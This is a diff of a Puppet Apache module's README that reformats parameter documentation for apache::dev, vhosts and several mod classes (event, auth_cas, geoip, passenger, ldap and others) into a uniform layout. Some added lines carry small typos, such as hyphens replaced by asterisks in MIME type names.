- **FreeBSD**: 'www'
@@ -1251,22 +1425,20 @@ To prevent Puppet from managing the user, set the [`manage_user`][] parameter to
##### `apache_name`
-The name of the Apache package to install. Default: Puppet sets the default value via the [`apache::params`][] class, which manages the user based on your operating system:
+The name of the Apache package to install. If you are using a non-standard Apache package, such as those from Red Hat's software collections, you might need to override the default setting.
-The default value is determined by your operating system:
+Default: Depends on the user set by [`apache::params`][] class, based on your operating system:
- **Debian**: 'apache2'
- **FreeBSD**: 'apache24'
- **Gentoo**: 'www-servers/apache'
- **Red Hat**: 'httpd'
-You might need to override this if you are using a non-standard Apache package, such as those from Red Hat's software collections.
-
##### `error_log`
-The name of the error log file for the main server instance
+The name of the error log file for the main server instance. If the string starts with `/`, `|`, or `syslog`: the full path is set. Otherwise, the filename is prefixed with `$logroot`.
-The default value is determined by your operating system:
+Default: Depends on operating system:
- **Debian**: 'error.log'
- **FreeBSD**: 'httpd-error.log'
@@ -1274,13 +1446,11 @@ The default value is determined by your operating system:
- **Red Hat**: 'error_log'
- **Suse**: 'error.log'
-If the string starts with / or | or syslog: the full path will be set. Otherwise the filename will be prefixed with $logroot
-
##### `scriptalias`
Directory to use for global script alias
-The default value is determined by your operating system:
+Default: Depends on operating system:
- **Debian**: '/usr/lib/cgi-bin'
- **FreeBSD**: '/usr/local/www/apache24/cgi-bin'
@@ -1290,9 +1460,9 @@ The default value is determined by your operating system:
##### `access_log_file`
-The name of the access log file for the main server instance
+The name of the access log file for the main server instance.
-The default value is determined by your operating system:
+Default: Depends on operating system:
- **Debian**: 'error.log'
- **FreeBSD**: 'httpd-access.log'
@@ -1302,28 +1472,28 @@ The default value is determined by your operating system:
#### Class: `apache::dev`
-Installs Apache development libraries. By default, the package name is defined by the [`dev_packages`][] parameter of the [`apache::params`][] class based on your operating system:
+Installs Apache development libraries. Default: Depends on the operating system:[`dev_packages`][] parameter of the [`apache::params`][] class, based on your operating system:
-The default value is determined by your operating system:
-
-- **Debian** : 'libaprutil1-dev', 'libapr1-dev'; 'apache2-dev' on Ubuntu 13.10 and Debian 8; 'apache2-prefork-dev' on other versions
-- **FreeBSD**: 'undef'; see note below
-- **Gentoo**: 'undef'
-- **Red Hat**: 'httpd-devel'
-
-> **Note**: On FreeBSD, you must declare the `apache::package` or `apache` classes before declaring `apache::dev`.
+- **Debian** : 'libaprutil1-dev', 'libapr1-dev'; 'apache2-dev' on Ubuntu 13.10 and Debian 8; 'apache2-prefork-dev' on other versions.
+- **FreeBSD**: `undef`; on FreeBSD, you must declare the `apache::package` or `apache` classes before declaring `apache::dev`.
+- **Gentoo**: `undef`.
+- **Red Hat**: 'httpd-devel'.
#### Class: `apache::vhosts`
Creates [`apache::vhost`][] defined types.
-**Parameters within `apache::vhosts`**:
+**Parameters**:
-- `vhosts`: A [hash][] where the key represents the name and the value represents a [hash][] of [`apache::vhost`][] defined type's parameters. Default: '{}'
+* `vhosts`: Specifies the [`apache::vhost`][] defined type's parameters.
-> **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters or [Configuring virtual hosts].
+ Values: A [hash][], where the key represents the name and the value represents a [hash][] of [`apache::vhost`][] defined type's parameters.
-For example, to create a [name-based virtual host][name-based virtual hosts] 'custom_vhost_1, you can declare the class with the `vhosts` parameter set to '{ "custom_vhost_1" => { "docroot" => "/var/www/custom_vhost_1", "port" => "81" }':
+ Default: '{}'
+
+ > **Note**: See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters or [Configuring virtual hosts].
+
+ For example, to create a [name-based virtual host][name-based virtual hosts] 'custom_vhost_1, declare this class with the `vhosts` parameter set to '{ "custom_vhost_1" => { "docroot" => "/var/www/custom_vhost_1", "port" => "81" }':
``` puppet
class { 'apache::vhosts':
@@ -1338,7 +1508,9 @@ class { 'apache::vhosts':
#### Classes: `apache::mod::`
-Enables specific [Apache modules][]. You can enable and configure an Apache module by declaring its class. For example, to install and enable [`mod_alias`][] with no icons, you can declare the [`apache::mod::alias`][] class with the `icons_options` parameter set to 'None':
+Enables specific [Apache modules][]. Enable and configure an Apache module by declaring its class.
+
+For example, to install and enable [`mod_alias`][] with no icons, declare the [`apache::mod::alias`][] class with the `icons_options` parameter set to 'None':
``` puppet
class { 'apache::mod::alias':
@@ -1358,6 +1530,7 @@ The following Apache modules have supported classes, many of which allow for par
* `authn_dbd`\* (see [`apache::mod::authn_dbd`][])
* `authn_file`
* `authnz_ldap`\* (see [`apache::mod::authnz_ldap`][])
+* `authnz_pam`
* `authz_default`
* `authz_user`
* `autoindex`
@@ -1385,12 +1558,14 @@ The following Apache modules have supported classes, many of which allow for par
* `headers`
* `include`
* `info`\*
+* `intercept_form_submit`
* `itk`
* `ldap` (see [`apache::mod::ldap`][])
+* `lookup_identity`
* `mime`
* `mime_magic`\*
* `negotiation`
-* `nss`\*
+* `nss`\* (see [`apache::mod::nss`][])
* `pagespeed` (see [`apache::mod::pagespeed`][])
* `passenger`\* (see [`apache::mod::passenger`][])
* `perl`
@@ -1428,39 +1603,47 @@ Modules noted with a * indicate that the module has settings and a template that
Installs and manages [`mod_alias`][].
-**Parameters within `apache::mod::alias`**:
+**Parameters**:
-* `icons_options`: Disables directory listings for the icons directory, via Apache [`Options`] directive. Default: 'Indexes MultiViews'.
-* `icons_path`: Sets the local path for an `/icons/` Alias. Default: depends on your operating system.
+* `icons_options`: Disables directory listings for the icons directory, via Apache [`Options`] directive.
-- **Debian**: `/usr/share/apache2/icons`
-- **FreeBSD**: `/usr/local/www/apache24/icons`
-- **Gentoo**: `/var/www/icons`
-- **Red Hat**: `/var/www/icons`, except on Apache 2.4, where it's `/usr/share/httpd/icons`
+ Default: 'Indexes MultiViews'.
+
+* `icons_path`: Sets the local path for an `/icons/` Alias.
+
+ Default: Depends on operating system.
+
+ * **Debian**: `/usr/share/apache2/icons`
+ * **FreeBSD**: `/usr/local/www/apache24/icons`
+ * **Gentoo**: `/var/www/icons`
+ * *Red Hat**: `/var/www/icons`, except on Apache 2.4, where it's `/usr/share/httpd/icons`
#### Class: `apache::mod::disk_cache`
-Installs and configures [`mod_disk_cache`][] on Apache 2.2, or [`mod_cache_disk`][] on Apache 2.4. The default cache root depends on the Apache version and operating system:
+Installs and configures [`mod_disk_cache`][] on Apache 2.2, or [`mod_cache_disk`][] on Apache 2.4.
+
+Default: Depends on the Apache version and operating system:
- **Debian**: `/var/cache/apache2/mod_cache_disk`
- **FreeBSD**: `/var/cache/mod_cache_disk`
- **Red Hat, Apache 2.4**: `/var/cache/httpd/proxy`
- **Red Hat, Apache 2.2**: `/var/cache/mod_proxy`
-You can specify the cache root by passing a path as a string to the `cache_root` parameter.
+To specify the cache root, pass a path as a string to the `cache_root` parameter.
``` puppet
class {'::apache::mod::disk_cache':
cache_root => '/path/to/cache',
}
```
+
##### Class: `apache::mod::diskio`
Installs and configures [`mod_diskio`][].
```puppet
class{'apache':
- default_mods => false,
+ default_mods => `false`,
log_level => 'dumpio:trace7',
}
class{'apache::mod::diskio':
@@ -1469,67 +1652,159 @@ class{'apache::mod::diskio':
}
```
+**Parameters**:
-**Parameters withing `apache::mod::diskio`**:
+* `dump_io_input`: Dump all input data to the error log.
-- `dump_io_input`: Dump all input data to the error log. Must be `On` or `Off`, defaults to `Off`
-- `dump_io_output`: Dump all output data to the error log. Must be `On` or `Off`, defaults to `Off`
+ Values: 'On', 'Off'.
+
+ Default: 'Off'.
+
+* `dump_io_output`: Dump all output data to the error log.
+
+ Values: 'On', 'Off'.
+
+ Defaults to 'Off'.
##### Class: `apache::mod::event`
-Installs and manages [`mod_mpm_event`][]. You can't include both `apache::mod::event` and [`apache::mod::itk`][], [`apache::mod::peruser`][], [`apache::mod::prefork`][], or [`apache::mod::worker`][] on the same server.
+Installs and manages [`mod_mpm_event`][]. You cannot include `apache::mod::event` with [`apache::mod::itk`][], [`apache::mod::peruser`][], [`apache::mod::prefork`][], or [`apache::mod::worker`][] on the same server.
-**Parameters within `apache::mod::event`**:
+**Parameters**:
-- `listenbacklog`: Sets the maximum length of the pending connections queue via the module's [`ListenBackLog`][] directive. Default: '511'. Setting this to 'false' removes the parameter.
-- `maxrequestworkers` (_Apache 2.3.12 or older_: `maxclients`): Sets the maximum number of connections Apache can simultaneously process, via the module's [`MaxRequestWorkers`][] directive. Default: '150'. Setting these to 'false' removes the parameters.
-- `maxconnectionsperchild` (_Apache 2.3.8 or older_: `maxrequestsperchild`): Limits the number of connections a child server handles during its life, via the module's [`MaxConnectionsPerChild`][] directive. Default: '0'. Setting these to 'false' removes the parameters.
-- `maxsparethreads` and `minsparethreads`: Sets the maximum and minimum number of idle threads, via the [`MaxSpareThreads`][] and [`MinSpareThreads`][] directives. Default: '75' and '25', respectively. Setting these to 'false' removes the parameters.
-- `serverlimit`: Limits the configurable number of processes via the [`ServerLimit`][] directive. Default: '25'. Setting this to 'false' removes the parameter.
-- `startservers`: Sets the number of child server processes created at startup, via the module's [`StartServers`][] directive. Default: '2'. Setting this to 'false' removes the parameter.
-- `threadlimit`: Limits the number of event threads via the module's [`ThreadLimit`][] directive. Default: '64'. Setting this to 'false' removes the parameter.
-- `threadsperchild`: Sets the number of threads created by each child process, via the [`ThreadsPerChild`][] directive. Default: '25'. Setting this to 'false' removes the parameter.
+* `listenbacklog`: Sets the maximum length of the pending connections queue via the module's [`ListenBackLog`][] directive. Setting this to `false` removes the parameter.
+
+ Default: '511'.
+
+* `maxrequestworkers` (_Apache 2.3.12 or older_: `maxclients`): Sets the maximum number of connections Apache can simultaneously process, via the module's [`MaxRequestWorkers`][] directive. Setting these to `false` removes the parameters.
+
+ Default: '150'.
+
+* `maxconnectionsperchild` (_Apache 2.3.8 or older_: `maxrequestsperchild`): Limits the number of connections a child server handles during its life, via the module's [`MaxConnectionsPerChild`][] directive. Setting these to `false` removes the parameters.
+
+ Default: '0'.
+
+* `maxsparethreads` and `minsparethreads`: Sets the maximum and minimum number of idle threads, via the [`MaxSpareThreads`][] and [`MinSpareThreads`][] directives. Setting these to `false` removes the parameters.
+
+ Default: '75' and '25', respectively.
+
+* `serverlimit`: Limits the configurable number of processes via the [`ServerLimit`][] directive. Setting this to `false` removes the parameter.
+
+ Default: '25'.
+
+* `startservers`: Sets the number of child server processes created at startup, via the module's [`StartServers`][] directive. Setting this to `false` removes the parameter.
+
+ Default: '2'.
+
+* `threadlimit`: Limits the number of event threads via the module's [`ThreadLimit`][] directive. Setting this to `false` removes the parameter.
+
+ Default: '64'.
+
+* `threadsperchild`: Sets the number of threads created by each child process, via the [`ThreadsPerChild`][] directive. Default: '25'. Setting this to `false` removes the parameter.
##### Class: `apache::mod::auth_cas`
-Installs and manages [`mod_auth_cas`][]. Its parameters share names with the Apache module's directives.
+Installs and manages [`mod_auth_cas`][]. Parameters share names with the Apache module's directives.
-The `cas_login_url` and `cas_validate_url` parameters are required; several other parameters have 'undef' default values.
+The `cas_login_url` and `cas_validate_url` parameters are required; several other parameters have `undef` default values.
-**Note**: The auth\_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. See [https://github.com/Jasig/mod_auth_cas]()
+> **Note**: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. See [https://github.com/Jasig/mod_auth_cas]()
-**Parameters within `apache::mod::auth_cas`**:
+**Parameters**:
-- `cas_attribute_prefix`: Adds a header with the value of this header being the attribute values when SAML
- validation is enabled. Default: CAS_
+- `cas_attribute_prefix`: Adds a header with the value of this header being the attribute values when SAML validation is enabled.
+
+ Default: CAS_.
+
- `cas_attribute_delimiter`: The delimiter between attribute values in the header created by `cas_attribute_prefix`.
+
Default: ,
-- `cas_authoritative`: Determines whether an optional authorization directive is authoritative and binding. Default: undef.
-- `cas_certificate_path`: Sets the path to the X509 certificate of the Certificate Authority for the server in `cas_login_url` and `cas_validate_url`. Default: undef.
-- `cas_cache_clean_interval`: Sets the minimum number of seconds that must pass between cache cleanings. Default: undef.
-- `cas_cookie_domain`: Sets the value of the `Domain=` parameter in the `Set-Cookie` HTTP header. Default: undef.
-- `cas_cookie_entropy`: Sets the number of bytes to use when creating session identifiers. Default: undef.
-- `cas_cookie_http_only`: Sets the optional `HttpOnly` flag when `mod_auth_cas` issues cookies. Default: undef.
-- `cas_cookie_path`: Where cas cookie session data is stored. Should be writable by web server user. Default: OS dependent.
-- `cas_cookie_path_mode`: The mode of `cas_cookie_path`. Default: '0750'.
-- `cas_debug`: Determines whether to enable the module's debugging mode. Default: 'Off'.
-- `cas_idle_timeout`: Default: undef.
+
+- `cas_authoritative`: Determines whether an optional authorization directive is authoritative and binding.
+
+ Default: `undef`.
+
+- `cas_certificate_path`: Sets the path to the X509 certificate of the Certificate Authority for the server in `cas_login_url` and `cas_validate_url`.
+
+ Default: `undef`.
+
+- `cas_cache_clean_interval`: Sets the minimum number of seconds that must pass between cache cleanings.
+
+ Default: `undef`.
+
+- `cas_cookie_domain`: Sets the value of the `Domain=` parameter in the `Set-Cookie` HTTP header.
+
+ Default: `undef`.
+
+- `cas_cookie_entropy`: Sets the number of bytes to use when creating session identifiers.
+
+ Default: `undef`.
+
+- `cas_cookie_http_only`: Sets the optional `HttpOnly` flag when `mod_auth_cas` issues cookies.
+
+ Default: `undef`.
+
+- `cas_cookie_path`: Where cas cookie session data is stored. Should be writable by web server user.
+
+ Default: OS dependent.
+
+- `cas_cookie_path_mode`: The mode of `cas_cookie_path`.
+
+ Default: '0750'.
+
+- `cas_debug`: Determines whether to enable the module's debugging mode.
+
+ Default: 'Off'.
+
+- `cas_idle_timeout`: Sets the idle timeout limit, in seconds.
+
+ Default: `undef`.
+
- `cas_login_url`: **Required**. Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and don't have an active session.
-- `cas_proxy_validate_url`: The URL to use when performing a proxy validation. Default: undef.
-- `cas_root_proxied_as`: Sets the URL end users see when access to this Apache server is proxied. Default: undef.
+
+- `cas_proxy_validate_url`: The URL to use when performing a proxy validation.
+
+ Default: `undef`.
+
+- `cas_root_proxied_as`: Sets the URL end users see when access to this Apache server is proxied.
+
+ Default: `undef`.
+
- `cas_scrub_request_headers`: Remove inbound request headers that may have special meaning within mod_auth_cas.
-- `cas_sso_enabled`: Enables experimental support for single sign out (may mangle POST data). Default: off
-- `cas_timeout`: Limits the number of seconds a `mod_auth_cas` session can remain active. Default: undef.
-- `cas_validate_depth`: Limits the depth for chained certificate validation. Default: undef.
-- `cas_validate_saml`: Parse response from CAS server for SAML. Default: Off
-- `cas_validate_server`: Should we validate the cert of the CAS server (depreciated in 1.1 - RedHat 7). Default: undef.
+
+- `cas_sso_enabled`: Enables experimental support for single sign out (may mangle POST data).
+
+ Default: 'Off'.
+
+- `cas_timeout`: Limits the number of seconds a `mod_auth_cas` session can remain active.
+
+ Default: `undef`.
+
+- `cas_validate_depth`: Limits the depth for chained certificate validation.
+
+ Default: `undef`.
+
+- `cas_validate_saml`: Parse response from CAS server for SAML.
+
+ Default: 'Off'.
+
+- `cas_validate_server`: Whether to validate the cert of the CAS server (deprecated in 1.1 - RedHat 7).
+
+ Default: `undef`.
+
- `cas_validate_url`: **Required**. Sets the URL to use when validating a client-presented ticket in an HTTP query string.
-- `cas_version`: The CAS protocol version to adhere to. Valid options: '1', '2'. Default: '2'.
-- `suppress_warning`: Don't wine about being on RedHat (Hint: mod_auth_cas package is now available in epel-testing repo). Default: false.
+
+- `cas_version`: The CAS protocol version to adhere to. Values: '1', '2'.
+
+ Default: '2'.
+
+- `suppress_warning`: Suppress warning about being on RedHat (`mod_auth_cas` package is now available in epel-testing repo).
+
+ Default: `false`.
##### Class: `apache::mod::auth_mellon`
-Installs and manages [`mod_auth_mellon`][]. Its parameters share names with the Apache module's directives.
+Installs and manages [`mod_auth_mellon`][]. Parameters share names with the Apache module's directives.
``` puppet
class{ 'apache::mod::auth_mellon':
@@ -1537,19 +1812,39 @@ class{ 'apache::mod::auth_mellon':
}
```
-**Parameters within `apache::mod::auth_mellon`**:
+**Parameters**:
-- `mellon_cache_entry_size`: Maximum size for a single session. Default: undef.
-- `mellon_cache_size`: Size in megabytes of the mellon cache. Default: 100.
-- `mellon_lock_file`: Location of lock file. Default: '`/run/mod_auth_mellon/lock`'.
-- `mellon_post_directory`: Full path where post requests are saved. Default: '`/var/cache/apache2/mod_auth_mellon/`'
-- `mellon_post_ttl`: Time to keep post requests. Default: undef.
-- `mellon_post_size`: Maximum size of post requests. Default: undef.
-- `mellon_post_count`: Maximum number of post requests. Default: undef.
+* `mellon_cache_entry_size`: Maximum size for a single session.
+
+ Default: `undef`.
+
+* `mellon_cache_size`: Size in megabytes of the mellon cache.
+
+ Default: 100.
+
+* `mellon_lock_file`: Location of lock file.
+
+ Default: '`/run/mod_auth_mellon/lock`'.
+
+* `mellon_post_directory`: Full path where post requests are saved.
+
+ Default: '`/var/cache/apache2/mod_auth_mellon/`'
+
+* `mellon_post_ttl`: Time to keep post requests.
+
+ Default: `undef`.
+
+* `mellon_post_size`: Maximum size of post requests.
+
+ Default: `undef`.
+
+* `mellon_post_count`: Maximum number of post requests.
+
+ Default: `undef`.
##### Class: `apache::mod::authn_dbd`
-Installs `mod_authn_dbd` and uses `authn_dbd.conf.erb` template to generate its configuration. Optionally creates AuthnProviderAlias.
+Installs `mod_authn_dbd` and uses `authn_dbd.conf.erb` template to generate its configuration. Optionally, creates AuthnProviderAlias.
``` puppet
class { 'apache::mod::authn_dbd':
@@ -1560,28 +1855,51 @@ class { 'apache::mod::authn_dbd':
}
```
-** Parameters within `apache::mod::authn_dbd`
-- `authn_dbd_alias`: Name for the AuthnProviderAlias.
-- `authn_dbd_dbdriver`: Which db driver to use. Default: mysql.
-- `authn_dbd_exptime`: corresponds to DBDExptime. Default: 300.
-- `authn_dbd_keep`: corresponds to DBDKeep. Default: 8.
-- `authn_dbd_max`: corresponds to DBDMax. Default: 20.
-- `authn_dbd_min`: corresponds to DBDMin. Default: 4.
-- `authn_dbd_params`: **Required**. Corresponds to DBDParams for the connection string.
-- `authn_dbd_query`: is the query used to test a user and password for authentication.
+**Parameters**:
+
+* `authn_dbd_alias`: Name for the 'AuthnProviderAlias'.
+
+* `authn_dbd_dbdriver`: Specifies the database driver to use.
+
+ Default: 'mysql'.
+
+* `authn_dbd_exptime`: corresponds to DBDExptime.
+
+ Default: 300.
+
+* `authn_dbd_keep`: Corresponds to DBDKeep.
+
+ Default: 8.
+
+* `authn_dbd_max`: Corresponds to DBDMax.
+
+ Default: 20.
+
+* `authn_dbd_min`: Corresponds to DBDMin.
+
+ Default: 4.
+
+* `authn_dbd_params`: **Required**. Corresponds to DBDParams for the connection string.
+
+* `authn_dbd_query`: Whether to query the user and password for authentication.
##### Class: `apache::mod::authnz_ldap`
Installs `mod_authnz_ldap` and uses the `authnz_ldap.conf.erb` template to generate its configuration.
-**Parameters within `apache::mod::authnz_ldap`**:
+**Parameters**:
-- `package_name`: Default: `undef`.
-- `verify_server_cert`: Default: `undef`.
+* `package_name`: The name of the package.
+
+ Default: `undef`.
+
+* `verify_server_cert`: Whether to verify the server certificate.
+
+ Default: `undef`.
##### Class: `apache::mod::cluster`
-**Note**: There is no official package available for mod\_cluster and thus it must be made available by means outside of the control of the apache module. Binaries can be found at http://mod-cluster.jboss.org/
+**Note**: There is no official package available for `mod_cluster`, so you must make it available outside of the apache module. Binaries can be found at http://mod-cluster.jboss.org/
``` puppet
class { '::apache::mod::cluster':
@@ -1592,36 +1910,75 @@ class { '::apache::mod::cluster':
}
```
-**Parameters within `apache::mod::cluster`**:
+**Parameters**:
-- `port`: mod_cluster listen port. Default: '6666'.
-- `server_advertise`: Whether the server should advertise. Default: true.
-- `manager_allowed_network`: Network allowed to access the mod_cluster_manager. Default: '127.0.0.1'.
-- `keep_alive_timeout`: Keep-alive timeout. Default: 60.
-- `max_keep_alive_requests`: Max number of requests kept alive. Default: 0
-- `enable_mcpm_receive`: Whether MCPM should be enabled: Default: true.
-- `ip`: Listen ip address..
-- `allowed_network`: Balanced members network.
-- `version`: mod_cluster version. >= 1.3.0 is required for httpd 2.4.
+* `port`: mod_cluster listen port.
+
+ Default: '6666'.
+
+* `server_advertise`: Whether the server should advertise.
+
+ Default: `true`.
+
+* `advertise_frequency`: Sets the interval between advertise messages in seconds[.miliseconds].
+
+ Default: 10.
+
+* `manager_allowed_network`: Whether to allow the network to access the mod_cluster_manager.
+
+ Default: '127.0.0.1'.
+
+* `keep_alive_timeout`: Specifies how long Apache should wait for a request, in seconds.
+
+ Default: 60.
+
+* `max_keep_alive_requests`: Maximum number of requests kept alive.
+
+ Default: 0.
+
+* `enable_mcpm_receive`: Whether MCPM should be enabled.
+
+ Default: `true`.
+
+* `ip`: Specifies the IP address to listen to.
+
+* `allowed_network`: Balanced members network.
+
+* `version`: Specifies the `mod_cluster` version. Version 1.3.0 or greater is required for httpd 2.4.
##### Class: `apache::mod::deflate`
Installs and configures [`mod_deflate`][].
-**Parameters within `apache::mod::deflate`**:
+**Parameters**:
-- `types`: An [array][] of [MIME types][MIME `content-type`] to be deflated. Default: [ 'text/html text/plain text/xml', 'text/css', 'application/x-javascript application/javascript application/ecmascript', 'application/rss+xml', 'application/json' ].
-- `notes`: A [Hash][] where the key represents the type and the value represents the note name. Default: { 'Input' => 'instream', 'Output' => 'outstream', 'Ratio' => 'ratio' }
+* `types`: An [array][] of [MIME types][MIME `content*type`] to be deflated.
+
+ Default: [ 'text/html text/plain text/xml', 'text/css', 'application/x*javascript application/javascript application/ecmascript', 'application/rss+xml', 'application/json' ].
+
+* `notes`: A [Hash][] where the key represents the type and the value represents the note name.
+
+ Default: { 'Input' => 'instream', 'Output' => 'outstream', 'Ratio' => 'ratio' }.
##### Class: `apache::mod::expires`
Installs [`mod_expires`][] and uses the `expires.conf.erb` template to generate its configuration.
-**Parameters within `apache::mod::expires`**:
+**Parameters**:
-- `expires_active`: Enables generation of `Expires` headers for a document realm. Valid options: Boolean. Default: true.
-- `expires_default`: Default algorithm for calculating expiration time using [`ExpiresByType`][] syntax or [interval syntax][]. Default: undef.
-- `expires_by_type`: Describes a set of [MIME `content-type`][] and their expiration times. Valid options: An [array][] of [Hashes][Hash], with each Hash's key a valid MIME `content-type` (i.e. 'text/json') and its value following valid [interval syntax][]. Default: undef.
+* `expires_active`: Enables generation of `Expires` headers for a document realm.
+
+ Boolean. Default: `true`.
+
+* `expires_default`: Specifies the default algorithm for calculating expiration time using [`ExpiresByType`][] syntax or [interval syntax][].
+
+ Default: `undef`.
+
+* `expires_by_type`: Describes a set of [MIME `content*type`][] and their expiration times.
+
+ Values: An [array][] of [Hashes][Hash], with each Hash's key a valid MIME `content*type` (i.e. 'text/json') and its value following valid [interval syntax][].
+
+ Default: `undef`.
##### Class: `apache::mod::ext_filter`
@@ -1636,15 +1993,17 @@ class { 'apache::mod::ext_filter':
}
```
-**Parameters within `apache::mod::ext_filter`**:
+**Parameters**:
-- `ext_filter_define`: A hash of filter names and their parameters. Default: undef.
+* `ext_filter_define`: A hash of filter names and their parameters.
+
+ Default: `undef`.
##### Class: `apache::mod::fcgid`
Installs and configures [`mod_fcgid`][].
-The class makes no effort to individually parameterize all available options. Instead, configure `mod_fcgid` using the `options` [hash][]. For example:
+The class does not individually parameterize all available options. Instead, configure `mod_fcgid` using the `options` [hash][]. For example:
``` puppet
class { 'apache::mod::fcgid':
@@ -1678,39 +2037,98 @@ apache::vhost { 'example.org':
Installs and manages [`mod_geoip`][].
-**Parameters within `apache::mod::geoip`**:
+**Parameters**:
-- `db_file`: Sets the path to your GeoIP database file. Valid options: a path, or an [array][] paths for multiple GeoIP database files. Default: `/usr/share/GeoIP/GeoIP.dat`.
-- `enable`: Determines whether to globally enable [`mod_geoip`][]. Valid options: Boolean. Default: false.
-- `flag`: Sets the GeoIP flag. Valid options: 'CheckCache', 'IndexCache', 'MemoryCache', 'Standard'. Default: 'Standard'.
-- `output`: Defines which output variables to use. Valid options: 'All', 'Env', 'Request', 'Notes'. Default: 'All'.
-- `enable_utf8`: Changes the output from ISO-8859-1 (Latin-1) to UTF-8. Valid options: Boolean. Default: undef.
-- `scan_proxy_headers`: Enables the [GeoIPScanProxyHeaders][] option. Valid options: Boolean. Default: undef.
-- `scan_proxy_header_field`: Specifies which header [`mod_geoip`][] should look at to determine the client's IP address. Default: undef.
-- `use_last_xforwarededfor_ip` (sic): Determines whether to use the first or last IP address for the client's IP if a comma-separated list of IP addresses is found. Valid options: Boolean. Default: undef.
+* `db_file`: Sets the path to your GeoIP database file.
+
+ Values: a path, or an [array][] paths for multiple GeoIP database files.
+
+ Default: `/usr/share/GeoIP/GeoIP.dat`.
+
+* `enable`: Determines whether to globally enable [`mod_geoip`][].
+
+ Boolean. Default: `false`.
+
+* `flag`: Sets the GeoIP flag.
+
+ Values: 'CheckCache', 'IndexCache', 'MemoryCache', 'Standard'.
+
+ Default: 'Standard'.
+
+* `output`: Defines which output variables to use.
+
+ Values: 'All', 'Env', 'Request', 'Notes'.
+
+ Default: 'All'.
+
+* `enable_utf8`: Changes the output from ISO*8859*1 (Latin*1) to UTF*8.
+
+ Boolean. Default: `undef`.
+
+* `scan_proxy_headers`: Enables the [GeoIPScanProxyHeaders][] option.
+
+ Boolean. Default: `undef`.
+
+* `scan_proxy_header_field`: Specifies the header [`mod_geoip`][] uses to determine the client's IP address.
+
+ Default: `undef`.
+
+* `use_last_xforwarededfor_ip` (sic): Determines whether to use the first or last IP address for the client's IP in a comma-separated list of IP addresses is found.
+
+ Boolean. Default: `undef`.
##### Class: `apache::mod::info`
Installs and manages [`mod_info`][], which provides a comprehensive overview of the server configuration.
-**Parameters within `apache::mod::info`**:
+**Parameters**:
-- `allow_from`: Whitelist of IPv4 or IPv6 addresses or ranges that can access `/server-info`. Valid options: One or more octets of an IPv4 address, an IPv6 address or range, or an array of either. Default: ['127.0.0.1','::1'].
-- `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'. Default: the value of [`$::apache::apache_version`][`apache_version`].
-- `restrict_access`: Determines whether to enable access restrictions. If false, the `allow_from` whitelist is ignored and any IP address can access `/server-info`. Valid options: Boolean. Default: true.
+* `allow_from`: Whitelist of IPv4 or IPv6 addresses or ranges that can access `/server*info`.
+
+ Values: One or more octets of an IPv4 address, an IPv6 address or range, or an array of either.
+
+ Default: ['127.0.0.1','::1'].
+
+* `apache_version`: Apache's version number as a string, such as '2.2' or '2.4'.
+
+ Default: The value of [`$::apache::apache_version`][`apache_version`].
+
+
+* `restrict_access`: Determines whether to enable access restrictions. If `false`, the `allow_from` whitelist is ignored and any IP address can access `/server*info`.
+
+ Boolean. Default: `true`.
##### Class: `apache::mod::passenger`
-Installs and manages [`mod_passenger`][]. For RedHat based systems, please ensure that you meet the minimum requirements as described in the [passenger docs](https://www.phusionpassenger.com/library/install/apache/install/oss/el6/#step-1:-upgrade-your-kernel,-or-disable-selinux)
+Installs and manages [`mod_passenger`][]. For Red Hat-based systems, ensure that you meet the minimum requirements described in the [passenger docs](https://www.phusionpassenger.com/library/install/apache/install/oss/el6/#step-1:-upgrade-your-kernel,-or-disable-selinux).
-**Parameters within `apache::mod::passenger`**:
+**Parameters**:
-- `passenger_high_performance` Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance). Valid options: 'on', 'off'. Default: undef.
-- `passenger_pool_idle_time` Sets the [`PassengerPoolIdleTime`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerpoolidletime). Default: undef.
-- `passenger_max_pool_size` Sets the [`PassengerMaxPoolSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxpoolsize). Default: undef.
-- `passenger_max_request_queue_size` Sets the [`PassengerMaxRequestQueueSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequestqueuesize). Default: undef.
-- `passenger_max_requests` Sets the [`PassengerMaxRequests`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequests). Default: undef.
-- `passenger_data_buffer_dir` Sets the [`PassengerDataBufferDir`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerdatabufferdir). Default: undef.
+* `passenger_high_performance`: Sets the [`PassengerHighPerformance`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerhighperformance).
+
+ Values: 'On', 'Off'.
+
+ Default: `undef`.
+
+* `passenger_pool_idle_time`: Sets the [`PassengerPoolIdleTime`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerpoolidletime).
+
+ Default: `undef`.
+
+* `passenger_max_pool_size`: Sets the [`PassengerMaxPoolSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxpoolsize).
+
+ Default: `undef`.
+
+* `passenger_max_request_queue_size`: Sets the [`PassengerMaxRequestQueueSize`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequestqueuesize).
+
+ Default: `undef`.
+
+* `passenger_max_requests`: Sets the [`PassengerMaxRequests`](https://www.phusionpassenger.com/library/config/apache/reference/#passengermaxrequests).
+
+ Default: `undef`.
+
+* `passenger_data_buffer_dir`: Sets the [`PassengerDataBufferDir`](https://www.phusionpassenger.com/library/config/apache/reference/#passengerdatabufferdir).
+
+ Default: `undef`.
##### Class: `apache::mod::ldap`
@@ -1729,84 +2147,141 @@ class { 'apache::mod::ldap':
}
```
-**Parameters within `apache::mod::ldap`:**
+**Parameters**
-- `apache_version`: The installed Apache version. Defaults to `undef`.
-- `ldap_trusted_global_cert_file`: Path and file name of the trusted CA certificates to use when establishing SSL or TLS connections to an LDAP server.
-- `ldap_trusted_global_cert_type`: The global trust certificate format. Default: 'CA_BASE64'.
-- `ldap_shared_cache_size`: Size in bytes of the shared-memory cache.
-- `ldap_cache_entries`: Maximum number of entries in the primary LDAP cache.
-- `ldap_cache_ttl`: Time that cached items remain valid.
